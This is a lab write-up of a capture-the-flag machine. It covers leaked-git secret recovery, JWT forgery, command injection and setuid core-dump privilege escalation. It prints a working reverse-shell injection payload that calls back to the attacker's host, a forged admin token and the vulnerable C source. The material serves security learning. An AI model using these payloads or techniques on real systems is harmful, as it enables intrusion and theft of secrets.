Enumeration
Service scan with nmap
We have discovered 3 active ports, 2 of which are http service and we have to analyze them from within our browser.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80
We see it is a website that contains a tutorial on how to register a user, login as user and basically operate the API.
Port 3000
Same as port 80
Enumerate directories with Dirbuster
We have found a zip file. Usually, open source projects publish publicly the files they are comprised of.

Files.zip Analysis
We find .git which should contain commits and files that could contain interesting info.
┌──(root💀kali)-[~/Downloads/local-web]
└─# ls -la
total 116
drwxr-xr-x 8 root root 4096 Sep 3 01:57 .
drwxr-xr-x 5 root root 4096 Nov 11 08:41 ..
-rw-r--r-- 1 root root 72 Sep 3 01:59 .env
drwxr-xr-x 8 root root 4096 Sep 8 14:33 .git
-rw-r--r-- 1 root root 885 Sep 3 01:56 index.js
drwxr-xr-x 2 root root 4096 Aug 13 00:42 model
drwxr-xr-x 201 root root 4096 Aug 13 00:42 node_modules
-rw-r--r-- 1 root root 491 Aug 13 00:42 package.json
-rw-r--r-- 1 root root 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x 4 root root 4096 Sep 3 01:54 public
drwxr-xr-x 2 root root 4096 Sep 3 02:32 routes
drwxr-xr-x 4 root root 4096 Aug 13 00:42 src
-rw-r--r-- 1 root root 651 Aug 13 00:42 validations.js
┌──(root💀kali)-[~/Downloads/local-web]
└─# cd .git
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# ls
branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
┌──(root💀kali)-[~/Downloads/local-web/.git]
└─# cd logs
┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# ls
HEAD refs
┌──(root💀kali)-[~/Downloads/local-web/.git/logs]
└─# cat HEAD
0000000000000000000000000000000000000000 55fe756a29268f9b4e786ae468952ca4a8df1bd8 dasithsv <[email protected]> 1630648552 +0530 commit (initial): first commit
55fe756a29268f9b4e786ae468952ca4a8df1bd8 3a367e735ee76569664bf7754eaaade7c735d702 dasithsv <[email protected]> 1630648599 +0530 commit: added downloads
3a367e735ee76569664bf7754eaaade7c735d702 4e5547295cfe456d8ca7005cb823e1101fd1f9cb dasithsv <[email protected]> 1630648655 +0530 commit: removed swap
4e5547295cfe456d8ca7005cb823e1101fd1f9cb de0a46b5107a2f4d26e348303e76d85ae4870934 dasithsv <[email protected]> 1630648759 +0530 commit: added /downloads
de0a46b5107a2f4d26e348303e76d85ae4870934 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 dasithsv <[email protected]> 1630648817 +0530 commit: removed .env for security reasons
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 e297a2797a5f62b6011654cf6fb6ccb6712d2d5b dasithsv <[email protected]> 1631126007 +0530 commit: now we can view logs from server 😃
At this point I have decided to look for a clue in google what to do with the .git and found that there are GitTools on github that we could use to dump data from it. Additionally, we have some insight now that we can view logs and that they have removed some file that could be interesting to us. In the next lines, I am dumping the data from the git file.
┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ls
extractor.sh README.md
┌──(root💀kali)-[/opt/GitTools/Extractor]
└─# ./extractor.sh ~/Downloads/local-web dump
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
At this point I did not achieve anything fruitful and did not know what to do with the dump. So I decided to proceed with the instructions given on the secret.htb website.
Create a new user and login
Looking back at the website there is a section to register user:

We can try to register one:

Unsuccessful, it requires us a name even though it was supplied… I realised I was missing Content-Type information in the POST request body.

Now I need to fix the error by making the name longer.

Nice, we registered a user successfully. Now we could try to login. From the website, the instructions are the following:

We got a JWT token after we logged-in:

I thought a bit and decided to look through the dump for a “token” and “admin”. I found that there is a user called “theadmin” and a JWT token.
┌──(root💀kali)-[/opt/GitTools/Extractor/dump]
└─# grep -IR "admin"
<deleted>
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js: if (name == 'theadmin') {
4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js: role: "you are admin",
<deleted>
#grep -IR "TOKEN"
3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
In jwt.io we can edit and sign the JWT token we got from the response message:
- Paste the original token we got after we logged in into the “Encoded” input field. To the right, the decoded token information will show up.

- Edit the name variable to be “theadmin” and within “VERIFY SIGNATURE” paste the JWT token we found previously from our dump file.

Sign the token and copy the Encoded version of the JWT token.
Reverse Shell
From previous enumeration, the creator hinted us about the .env being removed for security reasons. Additionally, the creator talks about the ability to get logs from the system. In private.js file it is said that we have to specify file name as the get parameter with the name file.
In the following lines, I am using curl to initiate a GET request similarly to the previous api calls we did through burp but this time, calling the logs file which is injectable. We will inject our code in order to achieve the following results:
- First delete any file called f in tmp/ directory
- create a first-in-first-out (fifo) buffer file called f in tmp/ directory
- Cat the file we created and pipe a shell with -i tag
- Pipe nc our local IP and our local listening port
- Use -H to add custom headers which in this case is our auth-token also called JWT
- Setup a listener with netcat on the same port from the request to catch the connection
┌──(root-kali)-[/opt/GitTools/Extractor]
└─# curl 'http://10.10.11.120:3000/api/logs?file=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.7+1234+>/tmp/f' -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNDMxMmZjMzIwNDA0NTlkNWUzMmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAYS5hZyIsImlhdCI6MTYzNjcxMzQ4OX0.d1oGnqiO62eT9DE79I9A0BsgBjM_eav6y-79Uzuxcio"
^[[3~curl: (52) Empty reply from server
┌──(root-kali)-[~/Downloads/local-web/.git]
└─# nc -nvlp 1234 1 ⨯
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.120] 33086
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dasith
Privilege Escalation
Shell stabilisation
$ python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 6: python: not found
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:~/local-web$ export TERM=xterm
export TERM=xterm
[email protected]:~/local-web$ ^Z
zsh: suspended nc -nvlp 1234
┌──(root-kali)-[~/Downloads/local-web/.git]
└─# stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -nvlp 1234
Look for setuid files. We find a file called “count”. I recognise that this file is not a system one but a user file, so I have to investigate it.
[email protected]:~/local-web$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign
[email protected]:~/local-web$ cd /opt/
[email protected]:/opt$ ls
code.c count valgrind.log
[email protected]:/opt$ file count
count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped
We see it is a binary file. I use strings to analyze the contents of the binary:
[email protected]:/opt$ strings count
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Unable to open directory.
??????????
Total entries = %d
Regular files = %d
Directories = %d
Symbolic links = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words = %d
Total lines = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
code.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__stat
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
_edata
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.4
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
__data_start
[email protected]@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
__lstat
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.7
dircount
[email protected]@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
[email protected]@GLIBC_2.2.5
[email protected]@GLIBC_2.2.5
filecount
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
We notice that it uses a couple of other files within the code. But I need a better view of the code, so I analyze it from an editor if I remember correctly:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
At this point I was quite stuck. Could not figure it out but got a nudge by a fellow hacker and was told to “look for something that is dumpable”. So I did and found the following line within the code: prctl(PR_SET_DUMPABLE, 1);
https://man7.org/linux/man-pages/man2/prctl.2.html
- According to the man page of prctl PR_SET_DUMPABLE when the state is set, it produces a core dump under specific conditions.
A quick google search leads me to a stackoverflow post where the person explains that a core dump could be generated by an error. So I thought about crashing the process and analysing the core dump file. For the purpose, I first created a 2nd reverse shell from which I will initiate a kill command.

This thread explained how I can read a crash file:
[email protected]ecret:/opt$ cd /var/crash
[email protected]:/var/crash$ ll
total 88
drwxrwxrwt 2 root root 4096 Nov 12 13:44 ./
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ../
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28108 Nov 12 13:44 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
[email protected]:/var/crash$ mkdir /tmp/crashdump
[email protected]:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crashdump/
[email protected]:/var/crash$ cd /tmp/crashdump/
[email protected]:/tmp/crashdump$ ls
Architecture DistroRelease ProblemType ProcEnviron Signal
CoreDump ExecutablePath ProcCmdline ProcMaps Uname
Date ExecutableTimestamp ProcCwd ProcStatus UserGroups
Analysing the CoreDump file:
[email protected]:/tmp/crashdump$ strings CoreDump
CORE
CORE
count
./count -p
IGISCORE
CORE
ELIFCORE
/opt/count
/opt/count
/opt/count
/opt/count
/opt/count
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
CORE
////////////////
Path:
Could
LINUX
////////////////
Path:
Could
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
readdir
fopen
closedir
__isoc99_scanf
strncpy
__stack_chk_fail
putchar
fgetc
strlen
prctl
getchar
fputs
fclose
opendir
getuid
strncat
__cxa_finalize
__libc_start_main
snprintf
__xstat
__lxstat
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Unable to open directory.
??????????
Total entries = %d
Regular files = %d
Directories = %d
Symbolic links = %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters = %d
Total words = %d
Total lines = %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: words = 2
Total lines = 2
oot/root.txt
<edited>c0572f41284ab<edited>
aliases
ethers
group
It seems, we have the root.txt file contents.
Honestly, I am overly enjoying this box. So much fun and so much to learn!